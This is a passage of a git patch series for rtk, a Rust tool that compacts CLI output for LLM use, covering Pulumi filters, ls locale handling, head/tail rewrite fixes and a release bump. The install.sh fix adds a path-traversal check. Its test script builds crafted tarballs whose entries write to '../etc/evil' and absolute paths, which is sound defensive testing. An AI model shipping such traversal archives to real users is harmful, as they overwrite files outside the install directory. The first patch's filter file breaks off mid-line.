Node.js stack trace frames) while preserving resource change rows, policy violations, diagnostics, outputs, and summaries. Measured savings on a real neo-migration AWS project (~30 resources, Pulumi Cloud backend): pulumi up 65.8%, pulumi destroy 72.3%, preview --refresh 40.7%, refresh 34.9%, stack 29.3%. Lower savings on already- compact output (clean preview ~9%) because remaining content is signal per the correctness-over-compression design philosophy. Registers matching RtkRule in src/discover/rules.rs so the rewrite hook transparently proxies `pulumi ` through `rtk pulumi`. Bumps BUILTIN_TOML filter count 59 -> 64 and updates the expected-filter list and concat-discoverability test. Co-Authored-By: Claude Opus 4.6 (1M context) --- CHANGELOG.md | 4 ++ README.md | 9 +++++ src/core/toml_filter.rs | 15 +++++--- src/discover/rules.rs | 9 +++++ src/filters/pulumi-destroy.toml | 62 +++++++++++++++++++++++++++++++ src/filters/pulumi-preview.toml | 61 ++++++++++++++++++++++++++++++ src/filters/pulumi-refresh.toml | 59 +++++++++++++++++++++++++++++ src/filters/pulumi-stack.toml | 47 +++++++++++++++++++++++ src/filters/pulumi-up.toml | 66 +++++++++++++++++++++++++++++++++ 9 files changed, 327 insertions(+), 5 deletions(-) create mode 100644 src/filters/pulumi-destroy.toml create mode 100644 src/filters/pulumi-preview.toml create mode 100644 src/filters/pulumi-refresh.toml create mode 100644 src/filters/pulumi-stack.toml create mode 100644 src/filters/pulumi-up.toml diff --git a/CHANGELOG.md b/CHANGELOG.md index a453097765..47b3ca201b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +### Features + +* **pulumi:** add CLI filters for `preview`, `up`, `destroy`, `refresh`, `stack` (TOML-based, ~70% savings) + ### Bug Fixes * **git:** remove `-u` short alias from `--ultra-compact` to fix `git push -u` upstream tracking ([#1086](https://github.com/rtk-ai/rtk/issues/1086)) diff --git a/README.md b/README.md index 6228a689d0..cfa59c0728 100644 --- a/README.md +++ b/README.md @@ -229,6 +229,15 @@ rtk kubectl logs # Deduplicated logs rtk kubectl services # Compact service list ``` +### Infrastructure as Code +```bash +rtk pulumi preview # Strip header/URL/duration noise +rtk pulumi up # Compact apply output +rtk pulumi destroy # Compact destroy output +rtk pulumi refresh # Drift summary +rtk pulumi stack # Stack metadata (strips owner/timestamps) +``` + ### Data & Analytics ```bash rtk json config.json # Structure without values diff --git a/src/core/toml_filter.rs b/src/core/toml_filter.rs index 06060d22df..b1a360a814 100644 --- a/src/core/toml_filter.rs +++ b/src/core/toml_filter.rs @@ -1588,6 +1588,11 @@ match_command = "^make\\b" "poetry-install", "pre-commit", "ps", + "pulumi-destroy", + "pulumi-preview", + "pulumi-refresh", + "pulumi-stack", + "pulumi-up", "quarto-render", "rsync", "shellcheck", @@ -1621,8 +1626,8 @@ match_command = "^make\\b" let filters = make_filters(BUILTIN_TOML); assert_eq!( filters.len(), - 59, - "Expected exactly 59 built-in filters, got {}. \ + 64, + "Expected exactly 64 built-in filters, got {}. \ Update this count when adding/removing filters in src/filters/.", filters.len() ); @@ -1679,11 +1684,11 @@ expected = "output line 1\noutput line 2" let combined = format!("{}\n\n{}", BUILTIN_TOML, new_filter); let filters = make_filters(&combined); - // All 59 existing filters still present + 1 new = 60 + // All 64 existing filters still present + 1 new = 65 assert_eq!( filters.len(), - 60, - "Expected 60 filters after concat (59 built-in + 1 new)" + 65, + "Expected 65 filters after concat (64 built-in + 1 new)" ); // New filter is discoverable diff --git a/src/discover/rules.rs b/src/discover/rules.rs index 847ff7dcc8..ac0fa0abe3 100644 --- a/src/discover/rules.rs +++ b/src/discover/rules.rs @@ -725,6 +725,15 @@ pub const RULES: &[RtkRule] = &[ subcmd_savings: &[], subcmd_status: &[], }, + RtkRule { + pattern: r"^pulumi\s+(preview|up|destroy|refresh|stack)(\s|$)", + rtk_cmd: "rtk pulumi", + rewrite_prefixes: &["pulumi"], + category: "Infra", + savings_pct: 70.0, + subcmd_savings: &[], + subcmd_status: &[], + }, RtkRule { pattern: r"^quarto\s+render", rtk_cmd: "rtk quarto", diff --git a/src/filters/pulumi-destroy.toml b/src/filters/pulumi-destroy.toml new file mode 100644 index 0000000000..f2b7ac1000 --- /dev/null +++ b/src/filters/pulumi-destroy.toml @@ -0,0 +1,62 @@ +[filters.pulumi-destroy] +description = "Compact Pulumi destroy output" +match_command = "^pulumi\\s+destroy(\\s|$)" +strip_ansi = true +strip_lines_matching = [ + "^\\s*$", + "^Destroying \\(", + "^Previewing (update|destroy)", + "^View in Browser", + "^View Live:", + "^Duration:", + "^Permalink:", + "^\\s*Type\\s+Name\\s+", + "^Loading policy packs", + "^@ (Previewing (update|destroy)|Destroying)", + "^More information at:", + "^Use `pulumi ", + "^The resources in the stack have been deleted", + "^If you want to remove the stack completely", + "^\\s+-\\s+.*\\bdeleting\\s+\\(", + "^\\s{4,}at\\s+\\S+\\s*\\(", + "^\\s{4,}at\\s+/", + "^\\s+at\\s+processTicksAndRejections", + "^\\s+promise:\\s+Promise", + "^\\s+\\[Circular", + "^\\s*\\}\\s*$", + "^\\s* Date: Thu, 16 Apr 2026 13:46:58 +0800 Subject: [PATCH 010/257] fix(ls): add LC_ALL=C and fallback to raw on unrecognized locale - Force LC_ALL=C so ls always outputs English month names regardless of system locale - When no lines are parsed (e.g., non-English locale where regex fails to match), fall back to raw output instead of returning '(empty)' - This prevents silent data loss for users in zh_CN/ja/ko/etc. locales - Fixes #1276 --- src/cmds/system/ls.rs | 99 ++++++++++++++++++++++++++----------------- 1 file changed, 59 insertions(+), 40 deletions(-) diff --git a/src/cmds/system/ls.rs b/src/cmds/system/ls.rs index ac40ae328d..8f80da7ffe 100644 --- a/src/cmds/system/ls.rs +++ b/src/cmds/system/ls.rs @@ -35,6 +35,7 @@ pub fn run(args: &[String], verbose: u8) -> Result { .collect(); let mut cmd = resolved_command("ls"); + cmd.env("LC_ALL", "C"); cmd.arg("-la"); for flag in &flags { if flag.starts_with("--") { @@ -72,7 +73,16 @@ pub fn run(args: &[String], verbose: u8) -> Result { "ls", &format!("-la {}", target_display), |raw| { - let (entries, summary) = compact_ls(raw, show_all); + let (entries, summary, parsed_count) = compact_ls(raw, show_all); + + // If no lines were parsed (e.g., unrecognized locale), fall back to raw output. + // This is safer than returning "(empty)" for a non-empty directory. + let has_content = raw + .lines() + .any(|l| !l.starts_with("total ") && !l.is_empty()); + if parsed_count == 0 && has_content { + return raw.to_string(); + } // Only show summary in interactive mode (not when piped) let is_tty = std::io::stdout().is_terminal(); @@ -150,22 +160,28 @@ fn parse_ls_line(line: &str) -> Option<(char, u64, String)> { /// Parse ls -la output into compact format: /// name/ (dirs) /// name size (files) -/// Returns (entries, summary) so caller can suppress summary when piped. -fn compact_ls(raw: &str, show_all: bool) -> (String, String) { +/// Returns (entries, summary, parsed_count) so caller can suppress summary when piped. +/// parsed_count tracks how many non-header lines were successfully parsed. +/// If parsed_count == 0 but raw had content, caller should fall back to raw output. +fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { use std::collections::HashMap; let mut dirs: Vec = Vec::new(); let mut files: Vec<(String, String)> = Vec::new(); // (name, size) let mut by_ext: HashMap = HashMap::new(); + let mut lines_seen: usize = 0; + let mut parsed_count: usize = 0; for line in raw.lines() { if line.starts_with("total ") || line.is_empty() { continue; } + lines_seen += 1; let Some((file_type, size, name)) = parse_ls_line(line) else { continue; }; + parsed_count += 1; // Skip . and .. if name == "." || name == ".." { @@ -191,7 +207,10 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String) { } if dirs.is_empty() && files.is_empty() { - return ("(empty)\n".to_string(), String::new()); + if lines_seen > 0 && parsed_count == 0 { + return (String::new(), String::new(), 0); + } + return ("(empty)\n".to_string(), String::new(), 0); } let mut entries = String::new(); @@ -229,7 +248,7 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String) { } summary.push('\n'); - (entries, summary) + (entries, summary, parsed_count) } #[cfg(test)] @@ -244,7 +263,7 @@ mod tests { drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ -rw-r--r-- 1 user staff 1234 Jan 1 12:00 Cargo.toml\n\ -rw-r--r-- 1 user staff 5678 Jan 1 12:00 README.md\n"; - let (entries, _summary) = compact_ls(input, false); + let (entries, _summary, _) = compact_ls(input, false); assert!(entries.contains("src/")); assert!(entries.contains("Cargo.toml")); assert!(entries.contains("README.md")); @@ -265,7 +284,7 @@ mod tests { drwxr-xr-x 2 user staff 64 Jan 1 12:00 target\n\ drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ -rw-r--r-- 1 user staff 100 Jan 1 12:00 main.rs\n"; - let (entries, _summary) = compact_ls(input, false); + let (entries, _summary, _) = compact_ls(input, false); assert!(!entries.contains("node_modules")); assert!(!entries.contains(".git")); assert!(!entries.contains("target")); @@ -278,7 +297,7 @@ mod tests { let input = "total 8\n\ drwxr-xr-x 2 user staff 64 Jan 1 12:00 .git\n\ drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n"; - let (entries, _summary) = compact_ls(input, true); + let (entries, _summary, _) = compact_ls(input, true); assert!(entries.contains(".git/")); assert!(entries.contains("src/")); } @@ -286,7 +305,7 @@ mod tests { #[test] fn test_compact_empty() { let input = "total 0\n"; - let (entries, summary) = compact_ls(input, false); + let (entries, summary, _) = compact_ls(input, false); assert_eq!(entries, "(empty)\n"); assert!(summary.is_empty()); } @@ -298,7 +317,7 @@ mod tests { -rw-r--r-- 1 user staff 1234 Jan 1 12:00 main.rs\n\ -rw-r--r-- 1 user staff 5678 Jan 1 12:00 lib.rs\n\ -rw-r--r-- 1 user staff 100 Jan 1 12:00 Cargo.toml\n"; - let (_entries, summary) = compact_ls(input, false); + let (_entries, summary, _) = compact_ls(input, false); assert!(summary.contains("Summary: 3 files, 1 dirs")); assert!(summary.contains(".rs")); assert!(summary.contains(".toml")); @@ -318,7 +337,7 @@ mod tests { fn test_compact_handles_filenames_with_spaces() { let input = "total 8\n\ -rw-r--r-- 1 user staff 1234 Jan 1 12:00 my file.txt\n"; - let (entries, _summary) = compact_ls(input, false); + let (entries, _summary, _) = compact_ls(input, false); assert!(entries.contains("my file.txt")); } @@ -326,7 +345,7 @@ mod tests { fn test_compact_symlinks() { let input = "total 8\n\ lrwxr-xr-x 1 user staff 10 Jan 1 12:00 link -> target\n"; - let (entries, _summary) = compact_ls(input, false); + let (entries, _summary, _) = compact_ls(input, false); assert!(entries.contains("link -> target")); } @@ -336,7 +355,7 @@ mod tests { let input = "total 48\n\ drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ -rw-r--r-- 1 user staff 1234 Jan 1 12:00 main.rs\n"; - let (entries, summary) = compact_ls(input, false); + let (entries, summary, _) = compact_ls(input, false); assert!( !entries.contains("Summary:"), "entries must not contain summary" @@ -355,7 +374,7 @@ mod tests { drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ -rw-r--r-- 1 user staff 1234 Jan 1 12:00 main.rs\n\ -rw-r--r-- 1 user staff 5678 Jan 1 12:00 lib.rs\n"; - let (entries, _summary) = compact_ls(input, false); + let (entries, _summary, _) = compact_ls(input, false); let line_count = entries.lines().count(); assert_eq!( line_count, 3, @@ -370,7 +389,7 @@ mod tests { let input = "total 8\n\ -rw-r--r-- 1 fjeanne utilisa. du domaine 0 Mar 31 16:18 empty.txt\n\ -rw-r--r-- 1 fjeanne utilisa. du domaine 1234 Mar 31 16:18 data.json\n"; - let (entries, _summary) = compact_ls(input, false); + let (entries, _summary, _) = compact_ls(input, false); assert!( entries.contains("empty.txt"), "should contain 'empty.txt', got: {entries}" @@ -398,23 +417,18 @@ mod tests { // Some systems show year instead of time for old files let input = "total 8\n\ -rw-r--r-- 1 user staff 5678 Dec 25 2024 archive.tar\n"; - let (entries, _summary) = compact_ls(input, false); + let (entries, _summary, _) = compact_ls(input, false); assert!( entries.contains("archive.tar"), "should contain filename, got: {entries}" ); - assert!( - entries.contains("5.5K"), - "should show 5.5K, got: {entries}" - ); + assert!(entries.contains("5.5K"), "should show 5.5K, got: {entries}"); } #[test] fn test_parse_ls_line_basic() { - let (ft, size, name) = parse_ls_line( - "-rw-r--r-- 1 user staff 1234 Jan 1 12:00 file.txt", - ) - .unwrap(); + let (ft, size, name) = + parse_ls_line("-rw-r--r-- 1 user staff 1234 Jan 1 12:00 file.txt").unwrap(); assert_eq!(ft, '-'); assert_eq!(size, 1234); assert_eq!(name, "file.txt"); @@ -422,10 +436,9 @@ mod tests { #[test] fn test_parse_ls_line_multiline_group() { - let (ft, size, name) = parse_ls_line( - "-rw-r--r-- 1 fjeanne utilisa. du domaine 0 Mar 31 16:18 empty.txt", - ) - .unwrap(); + let (ft, size, name) = + parse_ls_line("-rw-r--r-- 1 fjeanne utilisa. du domaine 0 Mar 31 16:18 empty.txt") + .unwrap(); assert_eq!(ft, '-'); assert_eq!(size, 0); assert_eq!(name, "empty.txt"); @@ -433,10 +446,9 @@ mod tests { #[test] fn test_parse_ls_line_dir_with_space_in_group() { - let (ft, size, name) = parse_ls_line( - "drwxr-xr-x 2 fjeanne utilisa. du domaine 64 Mar 31 16:18 my dir", - ) - .unwrap(); + let (ft, size, name) = + parse_ls_line("drwxr-xr-x 2 fjeanne utilisa. du domaine 64 Mar 31 16:18 my dir") + .unwrap(); assert_eq!(ft, 'd'); assert_eq!(size, 64); assert_eq!(name, "my dir"); @@ -444,10 +456,8 @@ mod tests { #[test] fn test_parse_ls_line_symlink() { - let (ft, size, name) = parse_ls_line( - "lrwxr-xr-x 1 user staff 10 Jan 1 12:00 link -> target", - ) - .unwrap(); + let (ft, size, name) = + parse_ls_line("lrwxr-xr-x 1 user staff 10 Jan 1 12:00 link -> target").unwrap(); assert_eq!(ft, 'l'); assert_eq!(size, 10); assert_eq!(name, "link -> target"); @@ -460,12 +470,21 @@ mod tests { #[test] fn test_parse_ls_line_year_format() { - let (ft, size, name) = parse_ls_line( - "-rw-r--r-- 1 user staff 5678 Dec 25 2024 old.tar.gz", - ) - .unwrap(); + let (ft, size, name) = + parse_ls_line("-rw-r--r-- 1 user staff 5678 Dec 25 2024 old.tar.gz").unwrap(); assert_eq!(ft, '-'); assert_eq!(size, 5678); assert_eq!(name, "old.tar.gz"); } + + #[test] + fn test_compact_chinese_locale_fallback() { + let input = "total 8\n\ + drwxr-xr-x 2 user staff 64 1月 1 12:00 src\n\ + -rw-r--r-- 1 user staff 1234 1月 1 12:00 main.rs\n"; + let (entries, summary, parsed_count) = compact_ls(input, false); + assert_eq!(parsed_count, 0); + assert!(entries.is_empty()); + assert!(summary.is_empty()); + } } From 75bcf9dec6a3ddf2fecea9bc5aee5d1e0467854c Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Fri, 17 Apr 2026 07:45:25 +0000 Subject: [PATCH 011/257] chore(master): release 0.37.0 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 19 +++++++++++++++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 22 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index 93c546c8d7..05b60243f7 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.36.0" + ".": "0.37.0" } diff --git a/CHANGELOG.md b/CHANGELOG.md index 08cae60ae9..6884585792 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,25 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.37.0](https://github.com/rtk-ai/rtk/compare/v0.36.0...v0.37.0) (2026-04-17) + + +### Features + +* **discover:** handle more npm/npx/pnpm/pnpx patterns ([9e96caa](https://github.com/rtk-ai/rtk/commit/9e96caa0a18a95c84da82ba57716a9d3ef86d0c8)) +* **refacto-core:** binary hook w/ native cmd exec + streaming ([e7b7f9a](https://github.com/rtk-ai/rtk/commit/e7b7f9ab665a0f7303d41d23ad156d24e5e8964e)) + + +### Bug Fixes + +* **docs:** use release please changelog no manual ([7591a14](https://github.com/rtk-ai/rtk/commit/7591a14e4ceb732ab7ca160ac01a852926abe77a)) +* isolate cursor hook tests from local settings (determinist) ([d8ddefe](https://github.com/rtk-ai/rtk/commit/d8ddefe78efe25c35bb2a2f9083f2eacb9dd7274)) +* P0+P1 fixes from pre-merge review of hook engine ([df8e035](https://github.com/rtk-ai/rtk/commit/df8e03558d4d6cc2f5cbac91c63ab1b3b51d3bcd)) +* P0+P1 fixes from pre-merge review of hook engine ([d34389c](https://github.com/rtk-ai/rtk/commit/d34389c3d0936c2b0790e14f450bb50a28a7edf7)) +* rename ship.md to ship/SKILL.md to match develop ([5916ecd](https://github.com/rtk-ai/rtk/commit/5916ecd86fb319c2519a0b4fb2891309833a3bb4)) +* **runner:** preserve fd separation on command failure ([e92d099](https://github.com/rtk-ai/rtk/commit/e92d0993c93f0b732316dfa932d265aeca7488d6)) +* **stream:** missing stderr fields ([a1d46f3](https://github.com/rtk-ai/rtk/commit/a1d46f39c291e3356b9c26a062bde05ba1de591a)) + ## [0.36.0](https://github.com/rtk-ai/rtk/compare/v0.35.0...v0.36.0) (2026-04-13) diff --git a/Cargo.lock b/Cargo.lock index 7ad9dc981a..29a0414509 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.36.0" +version = "0.37.0" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index 81cc9c1df4..778af25eee 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.34.3" +version = "0.37.0" edition = "2021" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" From ac9b22c4d93f9089d30a3f28043cbe057e445f89 Mon Sep 17 00:00:00 2001 From: Ousama Ben Younes Date: Fri, 17 Apr 2026 15:55:32 +0000 Subject: [PATCH 012/257] fix(install): reject archive with path traversal before extraction (#1250) The installer previously ran `tar -xzf` on the downloaded archive with no pre-extraction verification. A malicious mirror could ship a tarball with `../` components or absolute paths and write files anywhere on the user's filesystem (CWE-22). Add a pre-extraction check that lists archive contents with `tar -tzf` and rejects any entry whose name starts with `/` or contains a `..` path component. The check is POSIX-compliant and adds negligible overhead for the single-binary RTK release tarball. Covered by scripts/test-install.sh, which exercises one safe archive and four crafted malicious archives (leading `..`, absolute path, mid-path `..`, trailing `..`) plus a regression guard that ensures the check remains in install.sh. Co-Authored-By: Claude --- install.sh | 7 +++ scripts/test-install.sh | 98 +++++++++++++++++++++++++++++++++++++++++ 2 files changed, 105 insertions(+) create mode 100755 scripts/test-install.sh diff --git a/install.sh b/install.sh index 1654245d9a..7a28622cff 100644 --- a/install.sh +++ b/install.sh @@ -83,6 +83,13 @@ install() { error "Failed to download binary" fi + # Verify archive contents before extraction (CWE-22 path traversal). + # Reject any entry with an absolute path or a ".." component. + info "Verifying archive..." + if tar -tzf "$ARCHIVE" | grep -qE '^/|(^|/)\.\.(/|$)'; then + error "Archive contains unsafe paths (absolute or directory traversal) — refusing to extract" + fi + info "Extracting..." tar -xzf "$ARCHIVE" -C "$TEMP_DIR" diff --git a/scripts/test-install.sh b/scripts/test-install.sh new file mode 100755 index 0000000000..cc863d25e1 --- /dev/null +++ b/scripts/test-install.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env sh +# Tests for install.sh path traversal check (issue #1250, CWE-22). +# +# Verifies: +# 1. Safe archives (single binary, "./prefix", subdirs) are accepted. +# 2. Archives with absolute paths are rejected pre-extraction. +# 3. Archives with ".." components are rejected pre-extraction. +# 4. The check is still present in install.sh (regression guard). + +set -eu + +REPO_ROOT=$(cd "$(dirname "$0")/.." && pwd) +INSTALL_SH="$REPO_ROOT/install.sh" + +if [ ! -f "$INSTALL_SH" ]; then + echo "FAIL: install.sh not found at $INSTALL_SH" + exit 1 +fi + +if ! command -v python3 >/dev/null 2>&1; then + echo "SKIP: python3 not available — crafted tarball tests require python3" + exit 0 +fi + +TMPDIR=$(mktemp -d) +trap 'rm -rf "$TMPDIR"' EXIT + +# The check replicated from install.sh (keep in sync with install.sh). +# Returns 0 when archive is safe, 1 when unsafe. +check_archive() { + if tar -tzf "$1" | grep -qE '^/|(^|/)\.\.(/|$)'; then + return 1 + fi + return 0 +} + +# --- Build safe archive using standard tar --- +mkdir -p "$TMPDIR/safe_src" +printf '#!/bin/sh\necho rtk\n' > "$TMPDIR/safe_src/rtk" +(cd "$TMPDIR/safe_src" && tar -czf "$TMPDIR/safe.tgz" rtk) + +# --- Build crafted malicious archives with python --- +python3 - "$TMPDIR" <<'PY' +import sys, tarfile, io + +base = sys.argv[1] + + +def make(name, entry): + with tarfile.open(f"{base}/{name}", "w:gz") as t: + info = tarfile.TarInfo(name=entry) + data = b"pwned" + info.size = len(data) + t.addfile(info, io.BytesIO(data)) + + +make("traversal.tgz", "../etc/evil") +make("absolute.tgz", "/tmp/evil_abs") +make("middle.tgz", "rtk/../../../etc/evil") +make("end_dotdot.tgz", "rtk/..") +PY + +FAIL=0 +pass() { printf ' PASS: %s\n' "$1"; } +fail() { printf ' FAIL: %s\n' "$1"; FAIL=1; } + +echo "==> Functional checks" + +if check_archive "$TMPDIR/safe.tgz"; then + pass "safe archive accepted" +else + fail "safe archive rejected (false positive)" +fi + +for bad in traversal absolute middle end_dotdot; do + if check_archive "$TMPDIR/$bad.tgz"; then + fail "$bad archive accepted (should be rejected)" + else + pass "$bad archive rejected" + fi +done + +echo "==> Regression guard" + +if grep -qF 'tar -tzf' "$INSTALL_SH" && grep -qF '\.\.' "$INSTALL_SH"; then + pass "install.sh still contains the path-traversal check" +else + fail "install.sh is missing the path-traversal check — was it removed?" +fi + +echo "" +if [ "$FAIL" -eq 0 ]; then + echo "All install.sh path traversal tests passed" + exit 0 +else + echo "Some tests failed" + exit 1 +fi From ec3a4e96fdcda6592afb08fb0ad0afaf41e07385 Mon Sep 17 00:00:00 2001 From: Ousama Ben Younes Date: Fri, 17 Apr 2026 15:58:03 +0000 Subject: [PATCH 013/257] fix(discover): skip head/tail rewrite when multiple files are passed (#1362) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `head -N file1 file2 ...` was rewritten to `rtk read file1 file2 ... --max-lines N`. The capture regex was greedy (`(.+)$`), so every file argument was folded into a single string. `rtk read` then silently mis-handled the shape and fell through to the system `read` builtin (`/usr/bin/read`) which rejects paths starting with `/` as "not a valid identifier". Tighten each head/tail regex to a single non-whitespace file argument (`\S+$`). When >1 file is provided the regex misses, `rewrite_line_range` returns `None`, and the command falls through to the native `head` / `tail` binary — which already handles multi-file input with the expected `==> name <==` banners. Same class as the cat multi-file fix in #989. Added six regression tests covering the `-N`, `--lines=N`, `-n N`, and `--lines N` variants for both `head` and `tail`. --- src/discover/registry.rs | 58 +++++++++++++++++++++++++++++++++++----- 1 file changed, 52 insertions(+), 6 deletions(-) diff --git a/src/discover/registry.rs b/src/discover/registry.rs index ee5f7a7bef..bbb766a735 100644 --- a/src/discover/registry.rs +++ b/src/discover/registry.rs @@ -62,12 +62,16 @@ lazy_static! { // --git-dir , --work-tree , and flag-only options (#163) static ref GIT_GLOBAL_OPT: Regex = Regex::new(r"^(?:(?:-C\s+\S+|-c\s+\S+|--git-dir(?:=\S+|\s+\S+)|--work-tree(?:=\S+|\s+\S+)|--no-pager|--no-optional-locks|--bare|--literal-pathspecs)\s+)+").unwrap(); - static ref HEAD_N: Regex = Regex::new(r"^head\s+-(\d+)\s+(.+)$").unwrap(); - static ref HEAD_LINES: Regex = Regex::new(r"^head\s+--lines=(\d+)\s+(.+)$").unwrap(); - static ref TAIL_N: Regex = Regex::new(r"^tail\s+-(\d+)\s+(.+)$").unwrap(); - static ref TAIL_N_SPACE: Regex = Regex::new(r"^tail\s+-n\s+(\d+)\s+(.+)$").unwrap(); - static ref TAIL_LINES_EQ: Regex = Regex::new(r"^tail\s+--lines=(\d+)\s+(.+)$").unwrap(); - static ref TAIL_LINES_SPACE: Regex = Regex::new(r"^tail\s+--lines\s+(\d+)\s+(.+)$").unwrap(); + // Issue #1362: each capture expects a SINGLE file argument (`\S+$`). Multi-file + // invocations like `head -3 a b c` fail to match so the segment is passed through + // to the native `head`/`tail` binary — which already handles multi-file with + // `==> name <==` banners that `rtk read --max-lines` cannot reproduce. + static ref HEAD_N: Regex = Regex::new(r"^head\s+-(\d+)\s+(\S+)$").unwrap(); + static ref HEAD_LINES: Regex = Regex::new(r"^head\s+--lines=(\d+)\s+(\S+)$").unwrap(); + static ref TAIL_N: Regex = Regex::new(r"^tail\s+-(\d+)\s+(\S+)$").unwrap(); + static ref TAIL_N_SPACE: Regex = Regex::new(r"^tail\s+-n\s+(\d+)\s+(\S+)$").unwrap(); + static ref TAIL_LINES_EQ: Regex = Regex::new(r"^tail\s+--lines=(\d+)\s+(\S+)$").unwrap(); + static ref TAIL_LINES_SPACE: Regex = Regex::new(r"^tail\s+--lines\s+(\d+)\s+(\S+)$").unwrap(); } const GOLANGCI_GLOBAL_OPT_WITH_VALUE: &[&str] = &[ @@ -1668,6 +1672,48 @@ mod tests { assert_eq!(rewrite_command("tail src/main.rs", &[]), None); } + // --- Issue #1362: head/tail with multiple files falls back to native command --- + // + // `rtk read --max-lines N` only accepts a single positional file path in + // a shape that maps cleanly to `head -N`. Rewriting `head -N a b c` to + // `rtk read a b c --max-lines N` previously produced a command where `rtk read` + // would concatenate the files without the `==> name <==` banners that native + // `head` emits, so the fix is to skip the rewrite and let the shell run the + // real `head`/`tail` binary. + + #[test] + fn test_rewrite_head_numeric_flag_multi_file_skipped() { + assert_eq!(rewrite_command("head -3 /tmp/a /tmp/b /tmp/c", &[]), None); + } + + #[test] + fn test_rewrite_head_lines_long_flag_multi_file_skipped() { + assert_eq!( + rewrite_command("head --lines=50 src/main.rs src/lib.rs", &[]), + None + ); + } + + #[test] + fn test_rewrite_tail_numeric_flag_multi_file_skipped() { + assert_eq!(rewrite_command("tail -20 a.log b.log", &[]), None); + } + + #[test] + fn test_rewrite_tail_n_space_flag_multi_file_skipped() { + assert_eq!(rewrite_command("tail -n 12 a.log b.log c.log", &[]), None); + } + + #[test] + fn test_rewrite_tail_lines_eq_multi_file_skipped() { + assert_eq!(rewrite_command("tail --lines=7 a.log b.log", &[]), None); + } + + #[test] + fn test_rewrite_tail_lines_space_multi_file_skipped() { + assert_eq!(rewrite_command("tail --lines 7 a.log b.log", &[]), None); + } + // --- New registry entries --- #[test] From 25727e343dd0eb6727d890e0e13dc53dfa08148c Mon Sep 17 00:00:00 2001 From: Lumin Cui Date: Sat, 18 Apr 2026 01:36:30 +0800 Subject: [PATCH 014/257] fix(ls): distinguish empty dir from unparseable locale content - Move . and .. detection before date parsing (is_dotdir) for non-English locale compatibility - Add dotdirs counter to distinguish empty dir (only . and ..) from real content that failed to parse - Fix test_compact_empty to use real ls -la output (includes . and ..) - Add test_compact_empty_chinese_locale for Chinese locale empty dir case - Closes regression where fallback falsely triggered on empty directories --- src/cmds/system/ls.rs | 43 ++++++++++++++++++++++++++++++++++++++----- 1 file changed, 38 insertions(+), 5 deletions(-) diff --git a/src/cmds/system/ls.rs b/src/cmds/system/ls.rs index 8f80da7ffe..61bd50b25f 100644 --- a/src/cmds/system/ls.rs +++ b/src/cmds/system/ls.rs @@ -131,6 +131,11 @@ fn human_size(bytes: u64) -> String { /// filename (everything after the date). This handles owner/group names that /// contain spaces, which break the old fixed-column approach. fn parse_ls_line(line: &str) -> Option<(char, u64, String)> { + // Skip . and .. entries before date parsing (works for non-English locales too) + if is_dotdir(line) { + return None; + } + let date_match = LS_DATE_RE.find(line)?; let name = line[date_match.end()..].to_string(); @@ -157,6 +162,16 @@ fn parse_ls_line(line: &str) -> Option<(char, u64, String)> { Some((file_type, size, name)) } +/// Returns true if the line represents a . or .. directory entry. +/// +/// POSIX.1-2017 (IEEE Std 1003.1) specifies that each directory contains +/// entries for "." (the directory itself) and ".." (its parent). These entries +/// always appear in `ls -la` output and are skipped during parsing since they +/// carry no meaningful content for token reduction. +fn is_dotdir(line: &str) -> bool { + line.trim().ends_with('.') || line.trim().ends_with("..") +} + /// Parse ls -la output into compact format: /// name/ (dirs) /// name size (files) @@ -171,6 +186,8 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { let mut by_ext: HashMap = HashMap::new(); let mut lines_seen: usize = 0; let mut parsed_count: usize = 0; + let mut dotdirs: usize = 0; + let mut parse_failed: usize = 0; for line in raw.lines() { if line.starts_with("total ") || line.is_empty() { @@ -179,15 +196,15 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { lines_seen += 1; let Some((file_type, size, name)) = parse_ls_line(line) else { + if is_dotdir(line) { + dotdirs += 1; + } else { + parse_failed += 1; + } continue; }; parsed_count += 1; - // Skip . and .. - if name == "." || name == ".." { - continue; - } - // Filter noise dirs unless -a if !show_all && NOISE_DIRS.iter().any(|noise| name == *noise) { continue; @@ -208,6 +225,11 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { if dirs.is_empty() && files.is_empty() { if lines_seen > 0 && parsed_count == 0 { + if dotdirs == lines_seen { + // Only . and .. entries (empty directory) + return ("(empty)\n".to_string(), String::new(), 0); + } + // Real content that couldn't be parsed (e.g., non-English locale) return (String::new(), String::new(), 0); } return ("(empty)\n".to_string(), String::new(), 0); @@ -310,6 +332,17 @@ mod tests { assert!(summary.is_empty()); } + #[test] + fn test_compact_empty_chinese_locale() { + let input = "total 8\n\ + drwxr-xr-x 2 